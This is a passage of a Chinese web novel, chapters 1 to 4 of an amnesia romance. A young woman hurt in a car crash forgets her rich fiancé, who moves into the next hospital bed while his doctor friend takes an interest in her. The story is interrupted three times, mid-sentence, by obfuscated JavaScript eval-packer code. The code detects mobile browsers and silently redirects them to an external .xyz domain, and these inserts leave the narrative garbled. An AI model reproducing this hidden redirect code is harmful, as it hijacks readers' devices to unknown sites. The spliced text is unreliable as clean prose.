《失忆后深陷兄弟修罗场》 1. 第 1 章 阳光照在桌角的向日葵盆栽,男人带着伤口的手拿起手机。 一条消息点亮屏幕:【我要和你失忆的未婚妻结婚了。】 汽车急刹,救护车滴嘟滴嘟。 2027年2月,京江市辉德医院,二十九岁的邢葵,因为一场车祸,额头包裹纱布,躺到了神经外科病区八号床。 头直接撞在地面,她因此瞬间昏迷,好在死神没有收走她的命,允她在短暂的白光后苏醒。太好了,上班多年,终于有正当理由放学生时代长度的寒假。 她醒来后小心翼翼地观察着世界,眼睛很酸,幸运的是,隔壁床的病友长得养眼。 应该说,堪称顶级。 男人站在靠门的七号床边,一眼可见的个高腿长,黑西装黑西裤,肩腰比例完美,眉目锋利,薄唇挺鼻,乌发后梳,像极会在天凉的时候让王家破产的总裁。 尤其现在,被他一通电话叫来的、十来个统一制服的人,围在附近清洁、消毒、换新,衬得他更像难搞的洁癖总裁了。 可能是她当前形象比较狼狈吧,英俊的七号病友频频向她投来视线。有几缕头发凌乱落在他的前额,估计是奔跑造成。 邢葵见到七号病友的第一眼,他是跑进病房的,喘着气,黑眸充血,墨色西装里,看起来本该系得一丝不苟的黑领带也微微松着。 “你是?”邢葵礼貌地问。 相貌顶尖的男人稍滞,随后告诉她他住隔壁床。 尔后打扫的人就来了。这些人像专为有钱人服务的特级清洁工,绝不是邢葵在58同城雇的50块1小时、找优惠券还能便宜两块钱的普通保洁。 妈妈!他们居然拿出了一套崭新的病号服!妈妈!他们居然拿着熨斗熨病号服!不可思议,她真的活着吗?她真的没死吗? “疼吗?”隔着一张床铺,七号病友解着领带,深邃的双眼凝视着她,突然和她说话,嗓音如同坠入深海的锚,又低又沉。 “啊?”邢葵一愕,“肯定疼啊,谁被车撞飞了不疼。” 是啊,她得多疼啊,因为怕疼连高跟鞋都不穿的人,连一百斤都不到的人,却被一辆两千斤的轿车撞飞。 厉乘川触碰领带的手都在抖,好想抱抱邢葵,他的秘书兼未婚妻。 今日本该是他们的领证日,却因为一场车祸,成了邢葵忘记他的第一天。 昨天,厉乘川还跟和他的兄弟们分享了要结婚的喜讯,今天就取消了,他们不认识邢葵,待会儿也不知该怎么同他们解释。 厉乘川也没空想,他目前只想默默陪着邢葵疗伤,甚至要他为了住进辉德,付出一台核磁共振仪的代价也无所谓。 邢葵把这些事忘了精光,窥探着七号病友,不明白为何他脱着西服手指在抖,同为住在神经外科病区的病人,估计他也是脑子有问题吧。 她不大喜欢和不知底细的陌生人交流,但同为养病人,她释放善意:“你别害怕,现代医疗科技很发达,大多数病都治得好的!” “谁是出车祸的?”这时,门口走进来一名穿深绿色涤纶制服的护工,男性,五十岁左右,褶皱堆叠的手上拿着一张纸。 以为是来送什么报告的,邢葵积极地举起没扎留置针的左手:“我,是我!” 护工走近,拿的纸是铜版纸,不像检查报告,更像某种广告单:“听说是对方闯红灯?要是对方不赔钱你打这个电话。” 邢葵低头,被子上多了一张律师事务所宣传单,三分之一的纸面被一名男性律师抱臂自信笑的照片占据,有些反应不过来:“啊,医院还提供这服务?” 不,不提供,只不过是利用病人伤了头好骗,忽悠下单拿佣金罢了。 护工是老手了,含糊其辞:“你看看呗,我们这里出车祸的都用这家律师。” “啊。”邢葵头低得更厉害,受伤的脑袋很疼、很疼、很疼,纸张上,责任认定、伤残等级、误工费……一些需要她深思的文字如狼似虎地从眼球往脑子里钻。 她不想看这个,头太疼了,马路上有摄像头,复杂的事能不能等她好些了再想呀?宣传单的照片也不放个帅哥,被车撞已经很惨了,能不能让她看看帅哥呀? 护工老迈的手拍上纸张:“号码在这里,你放心,打个电话给他,之后什么都不需要你操心。” 不要催她。 邢葵眼睛发酸,眨眨眼,努力想将聚积的泪水挤回去,扯出虚弱但灿烂的笑容:“好的,我知——” 一只骨节分明的手攥住护工手腕,一把将其推开。 “趁病人意识不清,诱骗她找你认识的律师,从中吃回扣,她有权利起诉你诈骗。” 是七号病友来到了她床的右边,他长得真像霸道总裁,黑西装已经脱掉,里头的衬衫也是黑的,脸也是黑的,啊不是不是,脸是白的,只是冷沉沉地瞪着护工。 七号病友,是在帮她吗?邢葵愣愣的,非亲非故,他人还怪好的嘞。 “辉德处处都有监控,这种事,你不是第一次做了吧?累积欺诈金额或次数许已构成刑事犯罪。”七号病友口吻严厉,碰过护工的手远离腿,似很嫌弃,“还狡辩的话,我可以打电话问问这家事务所,他们比你更懂法。” “你胡说什么?”护工悚然,连忙来抢宣传单,“不需要就不需要!好心当驴肝肺,还我!” 邢葵的右手边,许多擦伤的右手背上扎着留置针,输液管从留置针接头连向点滴架上的药水瓶,长长的一条。 她看着护工的手穿过来,袖子刮蹭长管,她想躲,可她右臂也受了伤,移动的速度远不及护工触碰的速度。 这样下去,留置针会被拽出来的! 邢葵焦急,关键时刻,七号病友眼疾手快地推开管身,嘭!他超绝的腰也因此撞上床边护栏,上半身向她倒来。 他的领带先前已经解掉了,黑色衬衫领口微松,结实的胸上肌隐隐约约,倒落趋势终止,七号病友深刻的眉眼、高挺的鼻梁、薄薄的唇也和邢葵近在咫尺。 啊啊啊他好好看!!!! 邢葵抬起手,冷不丁甩了厉乘川一巴掌。 辉德医院三号楼,骨科科室。 桌上的电脑播放着邢葵病房的实时监控,电脑前,男医生修长的两手交叠,抵着线条流畅的下颌,盯着屏幕,绯色的唇上厚下薄,兴味地上弯。 白大褂右侧的口袋上夹着他的名牌,一张不可思议貌美的证件照下面,写着他的名姓:江玉鸣。 江玉鸣是辉德医院继承人,同时也是厉乘川的好兄弟,像他这样的好兄弟还有很多,方便联系,其中一位建了群。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547360|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一日前,厉乘川在兄弟群公布了他要结婚的消息,一日后,他宣布取消。众人都惊奇发生了什么,江玉鸣放在旁边的手机不停跳出新消息。 【厉哥你回话啊!】 【是不是那女人背叛了你!】 【我懂我懂,肯定是的,太可恶了,我这就买机票,兄弟这就回来为你两肋插刀!】 江玉鸣抵着下颌,漫不经心地扫了眼信息,深色的瞳孔里划过戏谑。原本,他也以为是神秘的未婚妻伤害了厉乘川,厉乘川这样权欲中生长出的财团掌控者,要么不动心,动心绝不会随便分手。 直到不久前,厉乘川领带微松地走进了他的办公室,啊哈,竟然是他的未婚妻失忆了。 厉乘川要求住进来。 江玉鸣笑笑:“虽然辉德是私立医院,但也讲医德哦。” 厉乘川:“条件。” 江玉鸣挑了一下眉,从桌侧抽出文件:“采购那边汇报,觉得辉德该再买一台核磁共振仪。” 辉德医院要买的核磁共振仪,一台超过三千万,厉乘川眼眨也不眨地应下。 这不经让江玉鸣对他藏着的未婚妻充满了好奇,神经外科需要住院的患者不多,病房常年都有空位,他索性答应了厉乘川,想看看会否有好戏上演。 电脑屏幕里,女子坐在病床挂着点滴,江玉鸣饶有兴致地端详,他是不该这么盯着好兄弟的未婚妻看的,但厉乘川又不知道,对不对? 镜头不算清晰,监控用的,能看见人在哪儿在做什么就行了,保洁平时疏于打扫,镜头蒙了灰尘,导致拍出来的画面也像覆了一层雾。 忽略掉遮额头的纱布,雾中的女病人有着一张鹅蛋脸,瞧不清五官,但并非那种攻击性强的长相,眼廓偏圆,唇不够红。 原来厉乘川喜欢这种,这一款可不是江玉鸣的菜,他玩味地垂了下艳气十足的眸子,就他这双大长腿,得是烈焰红唇的超模缠在上面才带感。 屏幕里传来温柔的鼓励:“你别害怕,现代医疗科技很发达,大多数病都治得好的!” 邢葵,江玉鸣眼神微深,在唇齿磨了遍厉乘川未婚妻的名字,人如其名,一棵阳光乐天的向日葵,自己检查结果未出,浑身都痛的状态下,还有心思安慰别人。 继而,护工走进了病房,监控中的邢葵乖乖地回应护工的每一句话,头却埋得越来越低,她好像快碎掉了。 邢葵,也是一棵虚弱凋零的向日葵。 江玉鸣惜花,下意识抬了抬上身,手放到鼠标,中指落到中心滚轮。 啪,邢葵给了厉乘川一巴掌。 哦?这又是哪种向日葵? 中指拨动滚轮,诧异和好奇同时侵入江玉鸣心里,他放大画面,试图看仔细一些邢葵的神情,然而画面越放大越模糊。 当下的角度,厉乘川的位置十分挡视线,江玉鸣不满地舔了下牙齿,只能看出邢葵的眼睛圆圆大大的,像甜杏的核,唇是粉色,像水蜜桃的皮。 杏和桃都是好吃的水果,探究欲作祟,江玉鸣拿起手机起身,边往外走边拨打电话。 “喂,李护士长,神经外科刚送进来的那个出车祸的患者,还没打破伤风吧?我正好要去看看,我带过去吧。” 好兄弟给未婚妻打破伤风,厉乘川想必不介意吧? 2. 第 2 章 病房里,打人的人和被打的人四目相视,都懵懵的,在极近的距离吞噬着彼此的呼吸。 安静的氛围靠想销毁证据的护工打破,趁邢葵和厉乘川对视,护工抢到传单就跑。 纸张哗啦声惊醒邢葵,她慌忙去揉厉乘川的脸:“对不起!我太害怕了!” 她打厉乘川,是出于自我保护,对一个刚从死亡边缘回来的人来说,一个陌生人总是接近她,太奇怪了,可能那一瞬间有更好的方法处理,可邢葵晕胀的大脑没法高速运转。 打就打了,厉乘川想,提防陌生人是好事,是他没能站稳,是他的错。 邢葵的手揉着他的脸,很凉,空调明明开着,她的手依然凉得像块冰。 被打过的地方一点也不疼,受伤的邢葵能有多少力气,厉乘川宁愿现在脸是疼的,至少代表邢葵身体好。 邢葵快急哭了,她头脑不清,自我防御机制驱动她先打后想,七号病友或许就是个纯粹的好心人呢……呜呜,能不能原谅她! 等一下,邢葵手僵住,活像从总裁文里走出来的七号病友,似乎是个洁癖男? 她唰地将碰过厉乘川的手藏进被子,看到他深邃紧盯着她的眼神,觉得对方一定很想打她,弱小可怜无助。 “不是故意的……”邢葵声音低低的。 厉乘川哪会因此生气,他凝视着邢葵,邢葵的头钝痛,他的心脏也犹如刀割。 邢葵身上大大小小的伤口,很脏,也很疼,疼痛引起生理性流泪,她的眼眶晕染红霞,直到此时都是水汪汪的。 自厉乘川认识邢葵起,她就没哭过这么久!她从小职员升到他的秘书,一路都是乐观积极的小太阳,就算被小人针对,也能很快抹掉眼泪。 厉乘川心揪不已,都想杀了肇事者。法治社会,他不会真那么做,他有个好兄弟是律师,之后他想委托他让肇事者赔偿,不过那人手头案子很多,又极守规矩,未必同意邢葵插队…… “滴——滴——” 邢葵按响了呼叫铃:“这瓶水要结束了,我喊护士换一瓶吧,你去洗手间洗手洗脸?” 她眼神警惕,想把她可能得罪了的七号病友赶进洗手间。 厉乘川更加憎恨肇事者,本来今天他和邢葵是要领证的啊! 护士来得意料之外的快,邢葵没等到七号病友移步,门外就响起了推车的声音。 她记得被推到病房前,是一个实习护士负责给她测血糖,操作很不熟练,扎了她手指四次,后来给她扎留置针也差点没扎进去。 邢葵颤抖,不知道来换吊瓶的是不是这位实习护士,换吊瓶不需要技术含量,应该不会再让她受一番苦吧。 她忐忑地看着病房门把手,护士在成长为老练的护士前总归要练习积累经验,她不会因此投诉,但是,就是说,车祸已经很痛了啦!住院期间真的不想更痛了! 樱桃木色的房门打开,推车进入,视线上移,一瞬间,仿佛白红交织的玫瑰花丛在邢葵眼里艳丽盛放。 来人穿着白大褂,是位男医生,戴着蓝色医用口罩,身形高挑,脖颈纤长,即便遮住了半张脸也能从眉眼看出长得极美,可不会误认他为女生,喉结突出明显,整体容貌攻击性极强。 胸口名牌写着他的姓名,人长得美,名字也美耶。 “啊哈,我来得正巧。”江玉鸣医生迈过来,擦过七号病友身边,取过输液管,关闭调节器,更换起吊瓶,冲邢葵笑眼弯弯。 笑得很好看,像渣男。 邢葵往左边挪了挪,听说医生圈子很乱,社会新闻上经常有医生出轨滥交的烂事,江玉鸣透着强烈的浪荡感,宁肯错杀一万,不能放过一个,万一是带病的。 新冠疫情之后,邢葵这方面保护意识特别强,挪,她挪。 江玉鸣笑意稍微凝滞,从小到大他都是万众瞩目的焦点,还从来没有人第一眼就远离过他,这朵小葵花是怎么回事? 向日葵向阳光,难道他瞧起来很阴暗?八号床靠窗,江玉鸣侧了下脸,想看看窗外光线如何,看到厉乘川一脸阴暗。 厉乘川压着眉,用眼神问他:你为什么来干护士的活? 不怪厉乘川防备,好兄弟江玉鸣有着“病人杀手”的称号,被他看过病的人,十个有五个会跟他表白,剩下五个,要么是在跟对象分手后跟他表白,要么是年纪太大,为他介绍小辈。 一股不祥的预感拂过厉乘川内心,又很快消失。是他想多了,可以放心江玉鸣,江玉鸣自有男女意识起就说过要娶超模,邢葵跟超模全然不沾边。 江玉鸣气定神闲,他就是来现场看戏罢了,才不怕厉乘川起疑,他又没有歪心思,与其担心他,不如担心担心即将回来的其他兄弟,某些个,从小就跟厉乘川喜好相同。 “我姓江,负责你骨科方面治疗。” 江医生和七号床认识?七号病友姓厉?邢葵瞅瞅厉乘川,又瞅瞅江玉鸣,两个男人,一个像从霸总文走出来的,一个像从浪子文走出来的,站在一起真养眼。 但万一江玉鸣带病,他的好朋友也带病,哦买噶,邢葵瞳孔微震,再一次地往左边挪。 虽然不清楚邢葵为何偷偷地在挪,不妨碍厉乘川和江玉鸣都觉得她的小动作挺可爱的。 “方才有个护工来诓她。” “看到了,已经派人去处理了。” “看到了?” 江玉鸣在床右换上吊瓶,边走向床左的推车边答:“来的时候正好撞见他神色不对地跑出来。” 厉乘川移眸,医生照顾病人天经地义,江玉鸣不会喜欢邢葵这一款,他确定。 江玉鸣泰然自若,笑容不改,拆开一条黄色橡胶管,觉得厉乘川未免太疑神疑鬼。 “做个皮试,看打破伤风过不过敏。” “啊,皮试可疼了。”邢葵抗拒性地发言,上拉左袖,乖乖把左腕露出来。 好乖,江玉鸣心想,他怎么可能喜欢邢葵啊,他喜欢野的。 江玉鸣抬高邢葵左腕,手腕很细,毫不意外可用一只手彻底握住,橡胶管系上雪白,兴许手铐更合适,江玉鸣眼角笑意加深,拍拍邢葵血管处的皮肤,拿来消毒酒精擦拭。 到这里还不疼,邢葵也有闲情观察江玉鸣的手,很长很白,指甲修剪干净,因为常年用酒精,指节处的褶皱有些明显,是一双适合做的手。 不是,邢葵,你在想什么啊?!原谅她原谅她,受伤的脑袋瓜容易胡思乱想。 江玉鸣推动针管排空气,做皮试的针管直径只有几毫米,几滴药液从细长的针头挤出来,真恐怖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547361|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !邢葵撇过头,不敢看了。 右边站着厉乘川,邢葵没抬头,视线角度刚好也是看到他的手,宽大,同样干净,指甲盖有月牙。 冰凉的针头抵上皮肤,刺破表皮,妈妈!邢葵毛骨悚然,条件反射地攥住厉乘川的手。 厉乘川稍愕,刚惊喜地想回握住她,邢葵又松开,揪住了江玉鸣的白大褂。 一碰到七号病友的温度她就反应过来了,人家洁癖!还是攥医生的吧,哎?可是万一江医生带病? 江玉鸣刚瞥向他的衣服,邢葵又猛地松开了他,再次抓住厉乘川。 不对啊邢葵,你完全可以抓自个儿被子,她后知后觉,刚要收手,手却在七号病友手里抽不回来了。 弱小可怜无助:“痛!”针液推进皮肤,邢葵瞪大眼,一时间什么都忘了,低头紧闭双眼,魔咒般地念,“不痛不痛不痛不痛不痛……” 真可爱啊,江玉鸣想起他实习期,给小孩儿扎针,有的小孩儿会呼呼手背,喊痛痛飞飞。 邢葵给他的感觉比喊痛痛飞飞的小孩儿还要可爱,她眼睛鼻子都揪起来的样子也实在漂亮,监控中她的唇是粉色的,现实中也是,看上去更像甜甜的水蜜桃。 觉得厉乘川未婚妻的唇像好吃的水蜜桃,厉乘川应当不介意吧? 江玉鸣瞄了眼对面好兄弟,他一动不动地盯着邢葵,没分出心神关注他,啊哈,定然不会介意!他只是觉得好吃,又没真吃。 针管即将推到底,江玉鸣含笑看向害怕的邢葵:“不痛不痛,快结束了,好孩子。” 好孩子? 江玉鸣喊他未婚妻什么? 厉乘川遽然冷戾,眼神如同长刺,警告似的刺向江玉鸣,后者神色自如地耸耸肩,拔掉皮试针,他待过儿科,叫病人好孩子,职业习惯而已。 被叫好孩子的邢葵很受用,她当下的状态就喜欢挨夸,睁开眼,嗅到江玉鸣身上令人安心的消毒水气味。 其实江医生好好戴着医用外科口罩,对病人挺好的,先前那位扎她手指四次的护士都没戴口罩。 江玉鸣解着橡胶管,握着邢葵手腕,被邢葵杏仁一样的眼睛注视着,无意识放慢了速度。 “太慢了。”厉乘川盯着看,忍不住硬邦邦地催促。 邢葵也觉得,她迫不及待想把手从七号病友手里救出来,针都打完了,七号病友怎么还不松开她啊! 厉乘川读出她视线的含义,心梗,无人可诉。 “住院手续我办好了,葵葵。”病房门打开,一个年长的女人走了进来,长得与邢葵有几分相似。 “妈妈!”看到邢母,无措的邢葵似抓到了船桨,水润的眸子都亮了起来。 妈妈?邢葵的母亲?丈母娘?! 本就站得直的厉乘川站得更加直,垂眸扫量上身下-身,黑衬衫黑西裤,仪容尚算得体,早知道领带就不解了。 他瞄向江玉鸣的衣着,微不可察地拧了拧眉,穿着白大褂的江玉鸣显得比他更得体。 只是,病房里来了病人家属,江玉鸣却奇怪地没有动,厉乘川沿着他的视线往下看。 江玉鸣不知何时握住了邢葵的手指,左手五根指头,四根指腹都有针眼。 测血糖只需要扎一次,邢葵怎么被扎了四次? 3. 第 3 章 邢葵一直在等邢母办完住院手续回来,她现在的情况上不了班,得向公司请假,她的手机在车祸中损毁,要借邢母的用。 失忆的人在没人提醒的前提下,通常不能主动意识到自身失忆,邢葵没发现她忘了某个姓厉的上司。 另外,等待邢母也是因为邢葵想上厕所,她的腿上有伤,一个人不方便行动。 “妈妈。”邢葵很久没叫“妈”为“妈妈”了,刚从鬼门关回来,她难免表现得像依赖母亲的孩子,冲妈妈高兴地笑。 她也必须高兴地笑,不然邢母会担心的。 “这是?”邢母眼眶泛红地走近,显然哭过,顿足,略显困惑地看着她。 邢葵沿着邢母视线,看看左边,江医生抓着她的左手,看看右边,姓厉的七号病友攥着她的右手。 那么倒映在邢母眼中的画面……妈妈你听我解释! 不用她开口,右边的厉乘川抢先放开了手,唯恐第一次见面就给丈母娘留下差印象:“方才做皮试,她怕疼乱动,我怕她弄掉留置针,所以才抓着。” 左边的江玉鸣弯眼笑笑,解掉橡胶管,漂亮的眉眼让他像绽放在病房中的玫瑰花:“我是做皮试的医生。” 邢葵总结:“病友,医生。” 邢母:“噢,这样啊,我还以为……”疑惑解开,邢母还有点失望,“怎么样了葵葵,还疼不?” 相似的问题,厉乘川之前问过,当时邢葵回答的是“肯定疼啊”,但她面对母亲,却回答:“好多了妈妈。” “妈妈过来。”邢葵套住邢母耳朵,超小声,“我想上厕所。” 邢母正常说话:“噢噢,上厕所啊,我扶你去。” “……”妈妈不懂我啊,邢葵瞬间脸颊发热,不敢看一左一右两个帅哥。 江玉鸣依然在笑:“去吧,我也不打扰了,待会儿过来看皮试结果,没问题的话再给她打破伤风。” 笑眯眯的眸子最后睨了下邢葵指尖针眼,和厉乘川对视一眼,离开病房。 病房内的卫生间正在被厉乘川的人打扫中,邢母提着吊瓶,搀着邢葵去外面的厕所。 一远离病房,邢葵就窘迫地低声对邢母道:“妈妈你也不给你女儿留点面子,两个大帅哥呢。” “帅有啥用,又不是我女婿。”邢母想女婿已经想很久了,瞅路边的狗都要用瞅女婿的眼光审视一下,“他们要是有可能成为我的女婿,我就给你面子。” “妈妈!”邢葵无语了,她们母女间就不能有别的话题吗,要不然她给她妈找个假女婿算了。 病房里,厉乘川坐在七号床,思考着方才有没有在丈母娘那里留下坏印象,他得讨好丈母娘,毕竟邢葵不喜欢他,即使是失忆前。 他们的婚姻是一场合作,邢葵想找个人契约结婚,应对长辈。 当今社会,按邢葵原话说,很奇怪。 女孩子从小就接受男女平等教育思想,从小就被教导女子未必不如男,要好好学习,考211、985,然而,大学一毕业,曾经父母长辈说过的话,就像一个长达二十多年的屁,终于放完了。 长辈们开始催女孩子折断翅膀、走进家庭,学历在长辈眼里只是一条相亲要提的项。 饱受此苦的邢葵,因此向老板厉乘川发出了合作邀请,厉乘川早就暗恋她多年,自然答应。 床边,厉乘川划掉兄弟群消息,打开手机浏览器,删除诸如“契约婚姻能走到最后吗?”之类的查询记录,再打开手机阅读器,删除他计划学习的先婚后爱文。 没了,什么都没了,因为邢葵在车祸后失忆,厉乘川如今既无名也无份。 横竖都得重新追老婆,厉乘川不想先婚后爱,他想要借失忆,从邢葵那里得到真正的名分,比合作对象更高的名分。 厉乘川懊恼地抵了下额,刚才和邢母解释为什么抓邢葵手时,他应该顺便、不刻意地介绍一下他的名字的,好歹先拉近点关系。 那厢,失忆的邢葵仍然有找人契约结婚的想法,不过她重伤的脑子容易走神,上着上着厕所就忘了。 回到病房,邢母将吊瓶放回高架,从随身包翻找出邢葵在车祸中坏掉的手机:“对了,你们公司联系不上你,给我打电话,听说了你的状况,批了你三个月带薪假,还挺有人情味的。” “这么好?我还想请假来着。”邢葵慢吞吞挪着腿,放上床,诧异,“资本家也有良心?” 偷听的厉乘川:“……”他什么时候丧过良心。 公司那边是厉乘川安排的,怕显得太假,他只给了三个月假期,事实上,他愿意邢葵休到她想上班的那一天。 已经到了下午四点,邢母想给邢葵买晚饭,悲伤的视线从包裹邢葵额头的纱布掠过:“有没有想吃的?妈去给你买,鸽子汤一定要的,长刀口,不知道周围有没有得卖。” 邢葵没有食欲,还是道:“行啊,你看看有没有蒸蛋,我想吃蒸蛋。” “咳咳。”邢葵循声望向左边,姓厉的七号病友抵唇咳嗽,“医院东门左边春元路上,有一家万盛酒店,有鸽子汤和蒸蛋。” “真的吗?”邢葵惊喜,但她不是为了自己,她根本就不想吃,只是这样妈妈就不用费劲找了。 厉乘川看着她泛起开心的眼睛,点了点头,不管真的假的,反正他会将它变成真的。 邢母露出犹豫:“酒店里的东西,很贵吧……” 厉乘川:“不贵。”不管贵不贵,反正他会将它变成不贵。 邢母走后,厉乘川低头联系助理,另一边,邢葵拿起她裂得没眼看的手机,想取出里头的SIM卡,不用向公司请假了,但她失联挺长时间,得跟朋友报平安。 要取SIM卡,需得用取卡针戳进手机侧端小孔,邢葵手头没针,手又有伤,不太好操作,厉乘川吩咐完助理抬头看到她的动作,起身一步便跨了过来:“我来吧?” 邢葵顿了一下:“挺脏的。” “我会洗手。”厉乘川取过手机,他也没针,邢葵不知道他要如何做,他停顿了一会儿,扭头去翻他换下来的西装,西装口袋里有一支笔。 用笔尖充当针头,他取出了手机里的电话卡,交给邢葵。 “谢谢,你怎么随身带着笔啊?”她随口说。 因为今天厉乘川要领证,领证要签名,他又有洁癖,便自己带了笔,谁知道这支用来订下婚姻的笔最终成了取卡针。 “厉乘川。”他没回复,借机说出了他的姓名。 “邢葵。”互通了名姓,关系从“完全不认识的陌生人”升级成“能交流一下的陌生人”,邢葵昂起欠缺血色的脸,“我问你哦,我现在很丑吗?你怎么总是看我?” “你们看到八号床那个病人没?车祸进来的,额头从这里到这里被划开好长一条,铁定要留疤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547362|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底子挺漂亮的小姑娘,就这么毁了容。” “我打听过了,缝了十二针,听说因为伤口靠近眼睛,不好打麻醉,直接缝的,缝了多久叫了多久,现场的医生护士都不忍心了。” “欸?小陈,你给她测血糖的时候有没有看见?” 被换作小陈的护士摇摇头,写着今天的实习日报:“没,人送来病房那会儿,头上已经蒙着纱布了,不过是挺惨的啊,我要是她,后半辈子毁容还不如死在车祸里,以后怎么嫁人啊。” “你们几个又嘴碎。”护士长走过来,形式化地批评了一句,扫看小陈的报告纸,“今儿一切正常……嗯,好,我已经接到过好多次病人对你的投诉了,看来你终于有长进了。” 小陈扯扯嘴角,回忆起八号床的女病人,那人受伤很严重,却被扎了四针也没发火,是个不会投诉的软柿子,只要她不写进报告,别人就不会知道。 留置针扎得也不太好,都怪那女的脉太细了,好烦,留置针万一掉了还得重扎,她不会要因此加班吧? 突然,一只修长的手抽走报告。 “江医生。” “江医生。” “江医生。” 所有人都看向忽然到来的江玉鸣,江玉鸣可是辉德医院乃至整个医生圈的人气王,人帅,友善,单身,医术精湛,还是辉德医院未来的主人。 谁看到他都迷糊,江玉鸣如果加班,医院立马会多出一批自愿加班的人。 小陈也激动,见江玉鸣拿着她的实习报告,更庆幸她没把操作失误写进去:“江医生,您怎么在这里?” 江玉鸣笑着看着报告:“下午送来的八号床是我的病人。” 天呐!小陈几乎压不住嘴角的笑,太棒了:“这么巧,八号床也是我负责。” 希望八号床务必要弄掉留置针,最好病情也加重,让她有机会和江医生多多相处,同事们一定会羡慕死她的。 江医生果真和传言一样喜欢笑,也不知道看她的实习报告有什么好笑的,是觉得她表现好吗?还是觉得她写字好看?辉德要求手写实习日报周报,她可是专门练过的。 有空练字,没空练扎针。 江玉鸣轻掀眼皮,依然笑着,接着,慢慢撕开了报告,一下两下三下。 八号床的病人是个好孩子,江玉鸣最讨厌好孩子,他们吃了苦不会讨糖,一嘴的苦味,让他从鼻子到心脏都不舒服。 江玉鸣抬起手,将碎纸从小陈头上如撒花一般散下来,所有人惊骇。 “测血糖扎四次,你是实习生,经验不足,可以原谅;知错不改,欺瞒上级,不可原谅。你被开除了。”黏在江玉鸣眼里的笑意消无,秾艳的眉眼透出一股阴沉感。 “什么?”小陈不敢相信,“你不能开除我!被辉德开除其他医院也不会再要我!就是一件小事!” “一件小事?没这件事我同样会开除你。”江玉鸣艳眸浸冷,“拿病人的伤情当谈资,人之常情,可以原谅;耻笑病人伤情,说她不如死了,不可原谅。” 他听见了,小陈说邢葵日后没法儿嫁人。 想起病床上乖巧的小葵花,江玉鸣声音更加冷硬:“且不说凭借如今的医疗技术,她不会留疤,因为疤痕就不想娶她的人,有嫁的必要吗?” 好让人舒坦的话。 “还要我说得再直接一些吗?你、可、以、滚、了。” 4. 第 4 章 邢葵其实了解她现在的脸,她以为厉乘川总看她是因为她的伤,所以借询问委婉地警告。 暂时毁了容,她有点伤心的,别老看她,没礼貌。 不过伤心之余,她也有一丝窃喜,毁容女在相亲市场意味着什么太好猜了,想来短时间内她身上的催婚压力会减轻一些。 “不丑。”厉乘川盯着她的额头,厉家有的是钱,江家有的是医疗手段,绝对不会让她留疤,唯恐邢葵难过,他岔开话题,“你拿电话卡做什么?” “哦对,我要联系我朋友,啊,刚应该让我妈等会儿走的,我要借她的手机。” “可以用我的。”得到邢葵感谢的眼神,厉乘川借机坐到未婚妻的床旁边,将她的电话卡装进他的手机,交给她。 突然觉得不对,邢葵和他是微信好友,她一登微信,他不就露馅了吗? 几个亿生意谈判都不紧张的人,这会儿绷直了后背,思考在她登好微信后找什么借口拿回手机删证据。 邢葵的微信头像是一朵手绘向日葵……嗯?为什么会是真的向日葵? 非常好,厉乘川嘴角抿起,有人会将工作和生活分开,设置两个微信,合着这么多年他都没加到未婚妻真正的微信号。 厉乘川也有两个微信,企业微信和私人微信,他以为他也加上了邢葵的两个微信,没想到她的“私人微信”也是工作专用。 虽然这样不用担心露馅了,但厉乘川怎么心里不是滋味呢…… 房门推开,返回的江玉鸣冲厉乘川点了一下头,示意犯错的护士已被处理:“哟,我就离开十几分钟,老厉,你都坐我病人床上了?” 他笑盈盈的,一点瞧不出方才叫人滚的阴冷,走过来,查了查邢葵做皮试的手腕,“挺好的,可以正常打破伤风。” 邢葵刚登上微信:“等会儿哦,我回下朋友消息。” “好。”江玉鸣看出是厉乘川的手机,转了转眼珠便猜到发生的事,冲好兄弟露出调侃的笑意,洁癖男连手机都愿跟人分享,看来是真的爱。 那忘了厉乘川的邢葵呢?江玉鸣故意扫了眼手机屏幕,没在消息列表看到厉乘川的头像。 哦?今日邢葵失联,厉乘川肯定会发消息,列表却没有他,除非……邢葵平时和他交流用的不是这个微信。 江玉鸣明白为什么他进病房的时候,厉乘川黑着脸了。 即使如此,江玉鸣笑意并未加深,绮丽的眼眸睨着邢葵的微信页面,她是个老实懂事的好孩子,这样的好孩子通常具备善于倾听的优点,容易吸引垃圾将她当垃圾桶。 整个页面都是未读消息,发信人大概都是邢葵的“朋友”。 【你怎么不回我呀,戳戳,我是不是该原谅他?】 【原生家庭啊,哎,姐妹我该怎么办呐】 【受够了!领导真贱,想辞职,姐妹你劝劝我】 …… 【别装死了邢葵!快帮我啊,我需要你!】 